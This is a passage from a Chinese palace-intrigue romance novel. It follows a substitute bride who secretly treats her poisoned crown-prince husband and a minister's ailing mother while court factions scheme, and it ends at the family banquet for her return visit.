迷迷糊糊的白雪,感受到被注视的目光,睁开眼,揉了揉了眼眶,看向裴宴景,惊讶得身体也跟着坐直,说道:“你醒了。”从袖中掏出她之前写下的药材名称,递给裴宴景。
裴宴景脸上的笑容加深了几分,点点头,接过纸,打开看了一眼,有些震惊,看了看白雪,又看向手中的纸,这鬼画符居然是她写的字,“你…是不是不常写字。”
白雪惊讶的看向裴宴景,说道:“你怎么知道?”
裴宴景将纸小心翼翼折好,放入袖中,“猜的。”有些羞涩的往里挪了挪,拍了拍床。
白雪满脸通红,羞涩的看了一眼裴宴景,“这…不太好吧。”
裴宴景义正言辞的说道:“我们已经是夫妻了,有什么不好的。”但他绯红的耳朵,暴露了他的内心。
白雪脱下外衣,穿着中衣,慢慢的躺在裴宴景身边。
白雪被困意压倒,眼睛渐渐闭上。
裴宴景心脏砰砰砰的跳动,不敢移动半分,深怕惊扰了白雪,就那样僵持着,直到白雪的脚跨在他腿上,手摸着裴宴景的胸部,头靠在他肩膀上。
裴宴景只感觉自己的心跳快跳出喉咙一般,低头看向白雪,
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见她睡得正香,还哼哼唧唧了两句。
嗯?什么东西,怎么感觉硬硬的。
白雪捏了捏,感觉不太对,睁开眼睛发现自己的手捏着裴宴景的小葡萄,尖叫了一声,往后退了退,掉下床。
剧烈的响声,吵醒了裴宴景。
与此同时,房门打开,夏冰跑了进来,正欲开口、行礼。
裴宴景看向门口的夏冰,“出去。”
夏冰闻言,行礼道:“遵命。”转身走出房间,关上门。
白雪小心翼翼地探出头,观察裴宴景的神情,裴宴景被白雪的动作可爱到,笑着说道:“怎么了?”
白雪见裴宴景没有生气,摇摇头,“昨日,肖玉来找过你。”
裴宴景挑了挑眉,“嗯,出什么事了?”
白雪:“他让我和太医演一出戏,再回来时,浑身臭味,像掉进了粪坑似的。”
裴宴景大笑出声,不过一秒,“咳~”急切地咳嗽声响起。
白雪赶紧上前,轻拍裴宴景胸口,满怀关切地向道:“你没事吧?”
裴宴景感觉好多了,“没事。”
四目相对。
白雪移开视线,后退一步,站直身体,不再看裴宴景,“没事就好,我要梳妆打扮了。”
裴宴景:“去哪?”
白雪:“去给皇上、皇后,请安。”
裴宴景想都没想,直接开口道:“不用。”
白雪想起昨天看见的那一排排摆满书籍的书房,她还从来没见过这么多书,语气不自觉地带上了几分讨好,询问道:“那我可以去书房,看书吗?”
裴宴景:“你很喜欢看书吗?”
白雪兴奋的点了点头,“嗯。”
裴宴景:“来人。”
夏冰走了进来,行礼道:“太子、太子妃。”
裴宴景:“伺候太子妃梳妆打扮。”
夏冰行礼道:“奴婢立马下去准备。”
栖霞看见夏冰从太子房间出来,跟上去,问道:“太子,没事吧?”
夏冰有些奇怪,看向栖霞,“太子没事啊。”
栖霞不死心的继续问道:“太子,真的没事?”
夏冰停下脚步,“栖霞,你到底想说什么?”
栖霞见夏冰这态度,瞬间明白过来,脸色苍白。
夏冰看栖霞不说话,也不再理她,抓紧时间安排给太子妃梳妆打扮的事。
栖霞真的不明白,怎么会没事呢?
明明昨晚还那么严重。
栖霞一抬头看见夏冰的背影,跟上去,说道:“我跟你一起。”
栖霞端着盆,走进房间,看见白雪正在扶裴宴景起身,吓得盆差点掉地上。
夏冰赶紧走上前,小声说道:“你干嘛?毛手毛脚的。”
栖霞脸色苍白,没有说话,木木的伺候着白雪。
白雪穿戴整齐,“我去书房了,你有事的话,差人来叫我。”
裴宴景看向白雪,说道:“好。”
夏冰与栖霞行礼,退出房间。
白雪听到门关上的声音响起,凑近裴宴景,给他把脉。
裴宴景有些惊讶的看着,白雪的把在他的手腕上,“怎么了?”
5. 药浴
白雪正聚精会神的感受裴宴景的脉搏,听见裴宴景的声音在她耳边响起,她头都没抬,说道:“嘘,别说话。”
裴宴景听话的闭嘴。
白雪站起身,看着裴宴景,语气严肃的说道:“药材你今天务必要差人买回来,今晚就开始。”
裴宴景:“我知道了。”
“嗯。”话毕,白雪走出房间。
肖玉在暗处看见白雪走出来,赶紧溜进房间。
肖玉刚一进来,裴宴景就感受到了肖玉的气息,“如何了?”
肖玉走到裴宴景床前,“栖霞是皇后的人,昨夜二皇子约见了国公爷、侯爷、叶舒白、齐鲁和李逸飞。”
裴宴景:“纪云峰和白玉山没去吧?”
肖玉对于裴宴景说的话,毫无意外,说道:“是的,太子。”
裴宴景拿出纸递给肖玉,“你今日去把上面的药材买齐。”
肖玉接过来,看了一眼,行礼道:“属下,遵命。”
裴宴景:“去吧。”
京城西市,走街串巷的小商贩,叫卖声此起彼伏的响起,夏季清晨,阳光虽没有下午晒人,但人潮拥挤,肖玉还是被热到不行。
西市的药房都被肖玉寻了个遍,也才堪堪买齐一半的药材。
肖玉盯着上面的药材,或许这些只能去东市的药房碰碰运气。
与此同时,东市街道上的行人不多,马车居多,走街串巷的小商贩更是少之又少。
唯有那御和楼,今日客坐满盈。
说书人喝了一口茶,醒木一拍,缓缓张口,“话说三年前,太子曾亲征东疆,战场上,太子英姿飒爽,冲向敌军阵地,不料,被敌军团团包围。”
这个剧本,众人早已听了无数遍,纷纷开口。
“换一个。”
“会不会说,不会说,下来,让我来。”
“就是。”
二楼贵宾室,裴筠坐着喝茶,耳边传来楼下的争吵声和说书声,脸上浮现出一抹笑意,那笑容不达眼底,看得人寒从心起。
两名随从分别站在裴筠身后两侧。
说书人喝了口茶,不紧不慢,继续说道:“太子中毒三年,本欲昨晚驾鹤西去,岂料京中出现一神秘神医,被太子花重金请进东宫,替他治病,传闻那神医……”
众人纷纷倒吸一口凉气,这说书人究竟有几个脑袋,竟敢说这些。
说书人看了一眼楼上的贵宾室,清了清嗓子,继续开口,“欲知此事如何,且听下回分解。”
“别啊,你得告诉我们,那神医究竟是男是女,是老是少啊。”
“就是,太子现在如何了?”
“还没说完,别走啊。”
说书人哪管他们,摸了摸怀中的金元宝,要不是贵人要求,给他一百个胆子也不敢说。
角落里坐着一名小厮,听完说书人的话,放下银子,便匆匆离开。
书房内,纪云峰听完此话,激动的说道:“你说太子请了一位神医?”
小厮点点头。
纪云峰坐在椅子上,看着桌面上他刚写下的字——静,脑中却在不停思考。
一名丫鬟走进房间,行礼道:“老爷,老太太她…又吐血昏迷了。”
纪云峰停下脚步,看向丫鬟,眼神入刀,下一秒,眼神变得平静,“我知道了。”
与此同时,肖玉买完药材,走出药房。
“太子真的请了神医?”
这句话传入肖玉耳里,他立马拉住身旁之人,问道:“你说什么?”
那人迷茫的看向肖玉,不知他在说什么,手臂传来的疼痛,让他气愤涌上心头,吼道:“你干嘛?”
肖玉放下拉着他的手,抱歉道:“我刚听你说太子请了神医,有些好奇,你在哪里听说的?”
那人指了指御和楼的方向。
肖玉扔下一句,“谢谢。”就往御和楼走。
“说书人已经走了。”
肖玉闻言,停下脚步,回头说道:“多谢。”
裴宴景神色凝重望向远处,“我知道了。”
肖玉有些不明白,“太子,属下不明白,为何那人要在京城中,大肆宣扬您找到了神医。”
裴宴景:“你可记得纪云峰他娘。”
肖玉点头,“属下记得。”
裴宴景:“如果纪云峰来问,让我说出神医姓名,家住何处,请求神医救他娘亲,又当如何?”
肖玉脱口而出,“告诉国公爷,让国公爷欠您人情。”
裴宴景摇头,“我若说出来,她性命不保,我若不说,便会得罪纪云峰。”
肖玉吞吞吐吐道:“可……”
裴宴景:“你想说她一直在东宫,不会出意外?”
肖玉点点头。
裴宴景:“世事无绝对。”
肖玉:“属下明白了。”
白雪伸了个懒腰,看向窗外,一弯月亮挂在天上,白雪将书籍归还原位,走出房间。
白雪刚打开房门,便闻到了药香味,环顾四周,都没看见药的身影,走近问道:“药呢?”
裴宴景睁开眼,打开床头的抽屉,取出药包,递给白雪。
白雪接过药,把药放在桌上,打开看,每一种她都仔细观察,凑近闻了闻,一脸满足。
裴宴景看着这样的白雪,脸上不自觉浮现出笑意。
白雪看完每一种药,“今晚就开始药浴吧。”
裴宴景疑惑道:“药浴?”
“对。”白雪点点头,继续说道:“药浴配合针灸,刚开始可能会很痛。”
裴宴景好奇地问道:“多痛?”
白雪摇摇头,“我也不知道。”
裴宴景:“好。”
白雪眯着眼,面对着门,小心翼翼地问道:“好了吗?”
裴宴景坐在白雪配好药的浴桶中,只感觉到热,额头出了一层薄汗,没感觉到她之前说的痛,听到白雪的问话,立即回道:“好了。”
白雪回头,手捂上眼睛,小心翼翼的从手缝中观察,见他坐在浴桶中,才睁开眼,走过去,针灸包早已备好,放在浴桶一旁的桌子上。
白雪拿起银针,表情严肃地说道:“我要开始了。”
裴宴景:“好。”
每一根银针插入,痛苦就增加一倍,随着九根银针的全部插入,裴宴景感觉自己全身上下的每一个毛孔里都插了一根针。
裴宴景额头上豆大的汗水,一颗接一颗的掉在水中,他不自觉的闭上双眼,咬紧牙关,手掌用力地捏着浴桶边沿。
白雪从怀里掏出一方干净的手帕,
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轻柔的放在裴宴景的嘴边,“咬这个。”
裴宴景睁开眼,看向白雪——手中的帕子,一口咬了上去。
白雪看着这样痛苦的裴宴景,想起了娘亲,手轻轻的放着裴宴景的手背,想要给他力量。
裴宴景看向白雪,被她眼中的温柔吸引,回握住白雪的手,但他不敢用力,生怕用力过度,弄疼白雪。
时间很快过去,裴宴景却感觉像过了一个世纪一般漫长,虽然他已经很努力控制力度,白雪的手却还是被捏红了。
裴宴景抱歉的看向白雪,“对不起。”
白雪愣住,半晌才反应过来,“区区小事,何足挂齿。”顿了顿,转过身,继续说道:“你自己能起来吗?”
“可以。”裴宴景费力的站起身,扶着浴桶边沿,慢慢的走出来,差点摔倒在地上。
白雪听到动静,刚想转身,察觉不对,又转回去,关心道:“你没事吧?”
裴宴景扶着腰,一脸痛苦的表情,闻言,立马恢复正常,说道:“没事。”
白雪:“那你好了告诉我,我把水倒了,免得被别人发现了。”
裴宴景:“好。”
与此同时,国公府。
纪云峰站在院中的树下,神色晦暗,而他身旁站着他夫人——李昭华。
李昭华来回走动,嘴里还念念有词的说着:“阿弥陀佛,保佑我家老夫人度过这次难关,身体早日康复。”
门打开的声音,瞬间吸引了两人的视线。
李昭华激动的立马走上前,纪云峰跟在她身后,表情平静,内心波涛汹涌。
李昭华:“我家老太太,她怎么样了?”
郎中摇摇头:“令堂的病,在下无能为力。”想起今日听见的传闻,继续说道:“或许那位神医,会有应对之策。”
李昭华好奇询问道:“哪位神医?”
郎中看了一眼纪云峰,才继续开口道:“替太子治病的那位。”
“这……”李昭华回头看向纪云峰。
纪云峰走上前道:“今日多谢你了。”朝身边的下人伸手,下人立马上前把早已备好的钱袋子递给纪云峰,纪云峰接过,递给郎中。
郎中满脸笑意的接过,“多谢,那在下就先告辞了。”
纪云峰朝丫鬟使了个眼神,丫鬟立马反应过来,上前送郎中出府。
郎中刚走出府,拐进巷中,被一醉汉撞到肩膀,回头看着醉汉背影说道:“你这人,怎么回事?”
醉汉闻言,回头看向郎中,笑了笑。
郎中看他有些眼熟,很像在御和楼说书的那位,心中还有些奇怪,这人怎么今日舍得喝酒了,摇摇头,转身朝家的方向走去。
在郎中转身的一瞬间,醉汉被一黑衣人捂住嘴,手中的匕首轻轻划过醉汉的喉咙,醉汉便瘫软在地,没了知觉。
裴宴景睁开眼,对躺在他身边的白雪问道:“你睡了吗?”
白雪:“还没,怎么了?”
裴宴景:“你打算什么时候回门?”
白雪吃惊地说道:“回门?”
裴宴景转头看向白雪,“嗯。”
白雪不知道还有回门这回事,她以为结婚就完了,怎么还要回门?
裴宴景见白雪沉默不语,迟迟未开口,“怎么了?”
6. 诊治
白雪好奇的问道:“回门是什么?”
裴宴景触及到白雪好奇的目光,内心一噎,不知道该怎么给她解释,想了会儿,才说道:“新娘首次携新郎回娘家探亲,称为回门。”
白雪恍然大悟,“原来如此。”看了一眼裴宴景,继续说道:“可你…方便吗?”
“方便。”裴宴景想起今日的事,打算探一探白雪口风,“如果我想让你帮我去给一个人看病,你愿意吗?”
白雪兴奋地坐起身,看向裴宴景,“真的吗?”
裴宴景没想到白雪竟如此开心,“嗯,你很喜欢给人治病吗?”
白雪:“当然啦,我的梦想就是替人治病。”说到这个,她就想到娘亲,眼神也黯淡下来。
十二年前,六岁的白雪正蹲在树下,看蚂蚁搬家。
陈溪岚走出房间,就看见白雪蹲在树下,她扎着两个辫子,辫子上挂着红色的簪子点缀,“雪儿。”只是叫了一声,便引起剧烈的咳嗽。
白雪听见娘亲的声音,立马抬头,见娘亲咳得弯了腰,跑过去,“娘亲,你没事吧?”
陈溪岚看向白雪,白雪正睁着葡萄一般大的眼睛,忽闪忽闪的望着她,她心里一甜,“娘亲没事。”但她心里明白,自己活不过两年。
白雪:“娘亲,等我长大,我会医治好娘亲的病。”
陈溪岚被白雪安慰到,抚摸着白雪的头,“娘亲等你。”
白雪伸出小手指,“那我们拉钩。”
陈溪岚笑着伸出小手指,与白雪拉钩。
“拉勾上吊,一百年不许变。”说完,白雪与陈溪岚大拇指盖章,在小小的白雪心里,这便是誓言了。
陈溪岚:“好。”
裴宴景见白雪陷入回忆,满眼心疼,连他自己都没发现,“不能暴露你的身份,也愿意吗?”
“当然。”只要能治好别人的病,白雪就心满意足了。
“纪右丞。”
纪云峰闻言,原本想去东宫的脚步停下,收回脚步,回头看去。
李逸飞走到纪云峰面前,“听闻太子殿下找到一位神医。”
纪云峰朝宫门外走,笑道:“李中丞,何出此言?”
李逸飞跟上纪云峰的脚步,但李逸飞落下半步,与纪云峰并排行走,“您还不知道呢?”神秘兮兮的开口道:“昨日,在那御和楼里的人,都知道此事。”
纪云峰:“与我有何关系?”
李逸飞被此话噎住,但还是厚着脸皮,继续说道:“令堂不是一直重病缠身吗?我想着告诉纪右丞您一声。”
纪云峰看了他一眼,神色自若,扔下一句,“多谢。”便上了马车。
留下李逸飞站在原地,看着马车远去,呢喃自语道:“真是个狠人,竟无动于衷。”
李逸飞感受到注视的目光,回头看去,只见裴筠站在他身后,面部表情平静,李逸飞脸上立马浮现出微笑,岂料裴筠看都没看他,直接走了。
李昭华坐在铜镜前,丫鬟正在替她梳妆打扮,看见纪云峰回来,问道:“太子同意了吗?”
一旁的丫鬟立马上前伺候纪云峰更衣,“我还没去。”
李昭华:“为何?”
纪云峰:“换身衣服再去。”
李昭华有些奇怪,为何要这么麻烦,还要回府换衣服,明明可以下朝后,直接去东宫,但她下一秒就想通了,官服惹眼,“还是你想的周到。”
纪云峰与白雪擦肩而过,停下脚步,看着白雪走向书房的背影。
夏冰立马跟随他停下脚步,说道:“那位是太子妃。”
纪云峰内心疑惑,太子妃不是白雅琴吗?但表面却不显。
夏冰走近屋内,行礼道:“太子,国公爷求见。”
裴宴景:“让他进来吧。”
夏冰走出房间告知纪云峰。
纪云峰走进房间,看见裴宴景坐在床榻上,手里拿着一本书,耳边传来关门声后,走近,行礼道:“太子殿下。”
裴宴景视线从书上移动,看向纪云峰,说道:“嗯,右丞请坐。”
纪云峰坐在一旁,开门见山道:“臣听闻太子殿下寻得一神医,臣有个不情之请,求太子殿下告知臣,神医姓甚名谁,家住何处。”
裴宴景故作疑惑地说道:“替我治病的一直都是黄太医,至于你说的神医,是从何处听来的传闻?”
纪云峰瞬间明白裴宴景话里的意思,开口道:“可否请黄太医走一趟?”
裴宴景:“那就要看黄太医是否有时间走一趟。”
纪云峰:“黄太医今晚有时间吗?”
裴宴景:“我会替你转告黄太医的。”
纪云峰起身行礼道:“臣谢过太子殿下。”
太阳落山,月亮悄悄升起。
李昭华一直不见人来,在房间里来回踱步,语气焦急的说道:“你确定今晚会来吗?”
纪云峰坐在椅子上,神色晦暗不明,没有回答。
李昭华想起今日偶然听见的八卦,“听说御和楼的说书人被人杀了。”
纪云峰:“是吗?”
李昭华:“就在离我们府不远的巷子中,你说究竟是何人杀他一个平头百姓,是不是得罪了什么权贵?”
纪云峰陷入思考,没有回答。
怎么会这么巧,突然有人大肆宣扬太子找到神医,就连今日下朝后,李逸飞也来告知他,纪云峰感觉此事不简单,或许是故意让他知晓。
那人究竟是冲他来,还是太子呢?
丫鬟走进房间,行礼道:“老爷、夫人,太医来了。”
纪云峰立马站起身,走出房间,李昭华紧随其后,脸上挂着微笑。
纪云峰看着黄太医身旁的少年郎,问道:“这位是?”
黄太医:“我弟子。”
纪云峰不曾听闻黄太医找了什么弟子,但此人看着有些眼熟,总感觉在何处见过,却怎么也想不起来。
李昭华上前热情开口道:“快里面请,我们坐下慢慢谈。”
黄太医:“先看看病人再说。”
李昭华听到此话,顿了顿,开口道:“好,这边请。”说完,领着两人往老夫人院里走去。
路上,纪云峰终于想起在哪里见过,想起白天在东宫擦肩而过的太子妃。
原来如此。
纪云峰表面没有伸张,装作不知情的模样。
还未进屋,白雪就听见屋里有人在咳嗽。
李昭华:“娘,今日感觉怎么样?”
老夫人没有回答,而是一阵激烈的咳嗽声不断响起,颤颤巍巍掏出手帕捂住嘴,一口血吐在帕中。
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黄太医:“找人看过吗?”
李昭华:“看过,说是肺痨。”
黄太医脸色变了变,看了一眼身旁的白雪,说道:“你们先出去,我需要诊脉,才能知晓是否能够医治。”
“这……”李昭华看向纪云峰。
纪云峰:“好。”
李昭华:“这黄太医治病可真奇怪,竟然让我们全部退出房间,连老爷您也不能留在屋内。”
纪云峰:“少说几句。”
一门之隔内,黄太医取出一截红线系在老夫人手腕上,取下床帘,坐在位置上,将线递至身旁的白雪手中。
从老夫人视线看去,还以为是黄太医在替她诊脉。
白雪诊断完,轻轻碰了碰黄太医,黄太医立马明白,与白雪走到一旁,窃窃私语,“如何?”
“我曾在书中看到过一药方,专治肺痨,可老太太耽误了最佳时机,只能尽力一试。”说完,白雪在纸上写下药方,递给黄太医。
黄太医接过一看,不可置信的看了一眼白雪,这字写得还不如他孙子,他誊抄了一遍,把白雪写好的,放入袖中,开门。
李昭华和纪云峰看见门开,立马上前。
李昭华:“黄太医,娘她怎么样?”
黄太医将写好的药方递了过去,“你们可以试试,但我不能保证是否能够完全医治。”
李昭华接过药方,闻言,“真是太感谢您了。”说完,见纪云峰没有把备好的钱袋子递给黄太医,内心有些奇怪。
纪云峰嘴上说着:“多谢,黄太医。”眼神看向的却是白雪,但也只是一眼。
黄太医:“我还有事,就先告辞了。”
黄太医从后门出府,白雪提着药箱跟在身后,黄太医行礼道:“两位请留步,告辞。”说完便和白雪上了马车。
李昭华:“黄太医慢走。”
纪云峰什么也没说。
这一切都被躲在暗处的黑衣人看在眼里。
房间里,裴筠端起茶杯,“一个老头?”
黑衣人点点头,“是啊,爷。”
裴筠:“长什么样?”
黑衣人:“眼眸深邃,头上戴着一顶帽子,花白的胡子。”
裴筠:“帽子?”
莫非是太医?
若真是太医,裴筠还不能轻举妄动。
与此同时,白雪回到房间,正在自行更衣,但一看就很开心。
裴宴景:“这么开心?”
白雪:“当然啦。”
裴宴景往旁边挪了挪,让出位置给白雪。
“你今晚药浴感觉怎么样?”白雪上床,手腕上有一圈乌青。
裴宴景眼神心疼的看向白雪:“你手腕感觉怎么样?”
“疼吗?”
白雪抬起手,看了一眼手腕上的痕迹,摇摇头,“没什么感觉。”
“你今晚药浴感觉怎么样?”
裴宴景回想起自己坐在浴桶中,被痛到晕厥的场景,本来想说没什么感觉,鬼使神差的说道:“疼得不行。”
白雪:“要不我调整一下,慢慢来?”
裴宴景:“不用,就这样挺好的。”
白雪:“那好吧。”
裴宴景:“睡吧,明天还要回门。”
白雪:“好。”
7. 回门1
翌日,白雪是被声音吵醒的,睁开眼,看见裴宴景正在更衣,看了一眼窗外,天还没完全亮,“怎么起来这么早?”
裴宴景见吵醒白雪,抱歉道:“我临时有事要处理,你再睡会儿。”
白雪揉了揉眼睛,迷茫的开口道:“你去哪?”
裴宴景:“书房。”
“哦。”说完,白雪转身,沉沉睡去。
书房内,裴宴景坐在椅子上,“查一下定安侯府十年前发生何事。”
“遵命,太子殿下。”肖玉顿了顿,说道:“昨日,那说书人被发现死在巷中。”
裴宴景:“怎么死的?”
肖玉:“被割喉而亡。”
裴宴景:“查到凶手了吗?”
肖玉:“已经结案了。”
看来又是推了一个替死鬼,裴宴景说道:“嗯,回门礼备好了吗?”
肖玉:“备好了,太子殿下,为何准备这么多?”
多吗?
裴宴景还觉得不够,他的命怎么才值这么一点东西?
在裴宴景看来,白雪治好他,他给再多都愿意,他愿意尊重白雪,只要是白雪想要的,他都可以给她,至于爱情,身在皇室之中,爱情是最没用的东西。
裴宴景:“这是她应得的,中秋宴是不是快到了?”
肖玉:“三日后,便是中秋宴会。”
裴宴景看向远处,眼中充满算计,“查到究竟是谁与西域皇室勾结了吗?”
肖玉:“还没有。”
裴宴景:“我知道了。”
与此同时,千里之外。
三年前额娘、阿玛亲自与太平王朝的太子裴宴景打战,那一战,额娘、阿玛死在战场上,谷杭的叔叔谷依古成为新的姑墨王。
谷杭拿着弓,背上背着箭囊,里面插着几支箭羽,谷杭趴在草原高处,盯着不远处掉队的孤狼,取下一只箭羽,利落上弓,肩背沉稳发力,屏住呼吸,指尖轻轻松开,箭羽疾射而去,风声在他耳边轻轻响起,精准扎向孤狼的脖颈处。
孤狼挣扎片刻,倒地而亡,谷杭放下心来,高兴得跑了过去,拖着狼尾回营。
谷杭把狼放在中央,兴高采烈地跑去主营帐找叔叔,他怀着吓叔叔的心理,蹑手蹑脚走了过去,听见从里面传来的声音。
“王,那二皇子也太过分了,竟拿此事威胁您,雪银毒本就稀少,竟还想让您与他合作。”
谷依古:“裴宴景当真没死?”
“千真万确。”
谷依古:“把谷杭叫进来。”
“王,谷杭今日一大早,便去打猎了。”
谷依古:“等谷杭回来,便让他去京城提和亲。”
何事威胁于叔叔?
二皇子又是谁?
为何会用到雪银毒,阿玛曾说过雪银毒,只会存在于姑墨王的手中。
叔叔怎么会有雪银毒,难道额娘与阿玛的死,与叔叔脱不了关系?
谷杭想到这里,瞳孔放大,手捂住嘴巴,尽力克制住不让自己发出一点声音,记住了裴宴景三个字。
阿玛在世时,曾教导他,敌人的敌人就是朋友。
谷杭走到狼的身边,装作才回营内,大声喊道:“叔叔,我回来了。”
白雪坐在铜镜前,见铜镜里的女子正在被丫鬟伺候梳妆打扮,丫鬟插上最后一根金簪,白雪听见脚步声,抬头看向门口。
裴宴景倚着门框,看向她,两人四目相对。
白雪:“你的事办完了吗?”
裴宴景:“完了。”
白雪有些不自然的捏着服饰,站起身,问道:“会不会太过累赘?”
裴宴景直勾勾的看着她,说道:“好看。”
白雪有些不相信,看了看自己身上的服饰,摸了摸头上插满的簪子,看向裴宴景,问道:“是吗?”
“嗯。”裴宴景话音刚落,剧烈的咳嗽声响起。
白雪走过去,从怀里掏出手帕,递给裴宴景,关心的看向他:“要不,还是算了?”
白雪虽没明说,裴宴景却瞬间明白,接过手帕,强撑着说道:“我没事。”
白雪:“可……”
裴宴景:“走吧。”
侯府早已被太子安排的人对整个府邸进行精心布置,门口处张灯结彩,挂着两个红红的大灯笼,堂内铺设红地毯,摆放着象征吉祥如意的花卉盆景,整个侯府都在喜庆祥和的氛围之中。
厨房管家一大早便走到正房院中,等丫鬟通报。
房内,白雅琴坐在榻上,桌上放着一碟花酥,菊、梅、荷等,每一个都精致小巧。
白雅琴取过一枚荷花酥,一层一层的花瓣,瞧着栩栩如生,是以酥糖制成,再调和颜色,入口即化、香甜可口又不失酥脆。
纪璇坐在铜镜前,丫鬟伺候着她梳妆打扮,今日是白雪与裴宴景的回门宴,昨日便来通知了她,她没想到裴宴景不仅没死,还要陪白雪回门。
丫鬟走进房间,行礼道:“夫人,管家来了。”
纪璇:“让他进来。”
厨房管家走了进来,说道:“今日太子与太子妃回府的菜品,安排了八珍八味,这第一道菜是龙凤呈祥,选用鱼作为龙,鸡作为凤,精心烹制而成,寓意富贵吉祥;第二道菜麒麟送子,用鲜嫩的鹌鹑蛋搭配精致的造型,寓意着多子多福;第三道菜鸿运当头,选用新鲜的鱼头,寓意着好运连连;第四道菜团团圆圆,以肉丸为主料,寓意着家庭团圆美满;第五道菜金玉满堂,用玉米、青豆、胡萝卜等食材炒制,寓意财富满满;第六道菜比翼双飞,用双份鸡翅精心烹制,寓意夫妻恩爱、携手同行;第七道菜是年年有余,用一整条鱼烹制而成,寓意生活富足,每年都有结余;第八道菜是甜甜蜜蜜,选用红枣、银耳、莲子等熬制而成的甜汤,寓意新人生活甜蜜幸福。”
纪璇仔细听完,点点头:“就这些吧,对了,记得安排清淡些,食材要新鲜,烹饪要细致,方能彰显我们侯府的诚意。”
厨房管家认真记下:“我明白了,那我先去厨房安排?”
纪璇:“去吧。”
这时,白玉山与厨房管家擦肩而过,厨房管家行礼道:“老爷。”
纪璇眼前一亮,说道
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:“老爷下朝回来了。”
白雅琴把手中的花酥放在碟中,跑上前挽着白玉山手臂,撒娇道:“爹爹。”
白玉山:“嗯。”
裴宴景搭乘半副銮驾,宫人举着大型伞具,遮挡太阳,金瓜、钺斧、朝天镫各一对,象征着权利与威严。
白雪所乘坐的凤撵则是八抬大轿,轿身用朱漆涂满整个车身,绘有凤凰于飞的图案,四周垂以明黄色的纱,轿顶镶嵌十二颗东珠,寓意着一年十二个月,月月吉祥。
轿前由四名宫女手持宫灯引路,宫灯上绘制并蒂莲花,象征着夫妻和和美美,另有四名太监负责鸣锣开道,每行一百步鸣锣三声,以示尊贵。
两面龙凤旗由护卫举着,同时后面跟着一支庞大的鼓吹乐队,乐队的乐器以各种鼓为主,还有吹奏乐器笛、萧等乐器。
还有四十名随行护卫,个个手持弓、刀、戟、盾等。
街上的行人站至两排,看着这喜庆的队伍前行。
一个小女孩手上拿着一串冰糖葫芦,舔了一口,抬头看向娘亲,说道:“娘,那轿子上坐着的姐姐真美。”
小女孩娘亲说道:“那是太子妃。”
小女孩继续说道:“那个哥哥为什么脸色苍白,是生病了吗?”
小女孩娘亲,捂着她嘴,“休要胡说。”
队伍到达定安侯府,府邸前。
裴宴景与白雪纷纷下轿,白雪搀扶着裴宴景走到门口。
白玉山与纪璇穿着华丽的锦袍,端坐在正厅的雕花椅上,神色从容且带着几分威严,而白雅琴坐在下方椅子上,神色平静。
裴宴景与白雪走进正厅。
裴宴景行礼道:“小婿参见岳父、岳母。”
白雪行礼道:“女儿参见父亲、母亲。”
白玉山与纪璇笑着将早已准备好的玉佩送给两人。
白雅琴见着体型瘦弱,脸色苍白的裴宴景,一时有些恍惚,她虽然心里早已想象过裴宴景,被毒折磨得不成人样,但没想到比她想象中更为严重。
由记得三年前,裴宴景带队从京城中出发时的模样。
那一日,白雅琴与相好的朋友李妍一起,坐在茶楼上。
李妍:“今日太子亲征出发,你不下去送行?”
白雅琴羞涩地说道:“他不喜欢。”实际上,她与裴宴景连话都没说过,她怕下去送行,被当着众人的面,被他下面子。
李妍:“你呀。”
周围突然传来热闹的声音,李妍与白雅琴看向下方,裴宴景穿着一身黑色的铠甲,骑着马,走在队伍最前方,瞧着真是威严、霸气十足。
李妍:“你真是好生福气,这京城中人,谁不想嫁给裴宴景,偏偏被你攀上这门婚事,待他凯旋归来,你们就要办婚事了吧?”
白雅琴:“还不清楚,也不知道他什么时候才能回来,打战这种事,说不准,快的几日,一两个月就能回来,慢的一年半载也没个准话。”
李妍:“我觉得这场战打不了多久,以裴宴景的智力与武力,还不是手到擒来。”
白雅琴:“希望吧。”
8. 回门2
想到这里,白雅琴内心有一丝庆幸,脑中想起裴筠,他气质儒雅、面如冠玉,只有这样的人才值得她白雅琴喜欢,越来越觉得,当时求娘亲,让白雪代替她嫁给裴宴景,是正确的决定。
纪璇也认为当时冒险让白雪嫁给裴宴景是正确的决定,瞧他这副马上就要死去的模样,心里越发觉得二皇子继位是不远的未来。
纪璇仿佛看见女儿成为皇后时,她成为了京城贵妇们眼中的焦点人物。
唯有白玉山觉得幸好自己有两个女儿,开口道:“太子身体可否有好转?”
裴宴景握着白雪的手,说道:“不知是否是冲喜起了作用,我总感觉结婚后,我这身体一日比一日好。”
白玉山:“那就好,那就好,那我们移步去膳房吧。”
裴宴景:“好,全凭岳父、岳母安排。”
一行人往膳房走,纪璇朝身后的丫鬟使了个眼色,丫鬟脱离队伍,抄近路往厨房赶去。
厨房里,每个人都各司其职,都在为中午的这顿回门宴做准备。
丫鬟走进厨房,大声说道:“太子与太子妃到了。”
总厨听到这句话,头都没抬,盯着锅里的菜,“知道了,马上。”说完,手上的动作加快了几分。
与此同时,裴宴景说道:“不知白雪以前住在何处,我想去她住的地方看看。”
白玉山脸上笑容一僵,看了一眼纪璇,说道:“这……”
裴宴景装作一副懊恼模样,敲打了一下自己的额头,说道:“瞧我这脑子,今日是回门宴,去她以前的闺房不太合规,那就下次吧。”
白玉山恢复笑意道:“那就下次。”
纪璇落后了几步,与丫鬟小声道:“去把听雨轩收拾一番,将白雪的东西挪过去,尽快安排好。”
丫鬟点点头,脱离队伍。
白雪瞥了一眼纪璇与丫鬟窃窃私语,而后余光看见丫鬟离队的背影,明白纪璇想做些什么,但她不明白的是,裴宴景为何会突然提出,要去她以前的住处看看。
难道说裴宴景调查过她?
白雪垂眸,没有开口说话,装作毫不知情的模样。
白玉山相信纪璇说的那句话了,“那我们就先去膳房吃饭?”
裴宴景明白不能把他们逼得太紧,让他们明白,他看重白雪就行,“好。”
裴宴景坐在主位,白雪与白玉山分别坐在裴宴景两边,纪璇与白雅琴紧挨着白玉山坐下。
管家站在门口拍了拍手,丫鬟们排着队上菜,每一道菜都精致到极致。
白玉山拿着筷子,说道:“太子快尝尝。”
裴宴景夹了一块鱼片到白雪碗里,说道:“尝尝怎么样?”
白雪抬头看了一眼裴宴景,看了一眼鱼片,色泽洁白如玉,夹进嘴里,细细品尝了一番,“口感嫩滑细腻,一点鱼腥味也没有。”
白雪放下自己的筷子,用公筷给裴宴景夹了一些她认为清淡的,适合他吃的菜,“你也尝尝。”
目前看来两人关系挺好,白玉山很满意,白雅琴与纪璇相视一眼,低头吃饭,整个膳房就只能听见几人吃饭的声音。
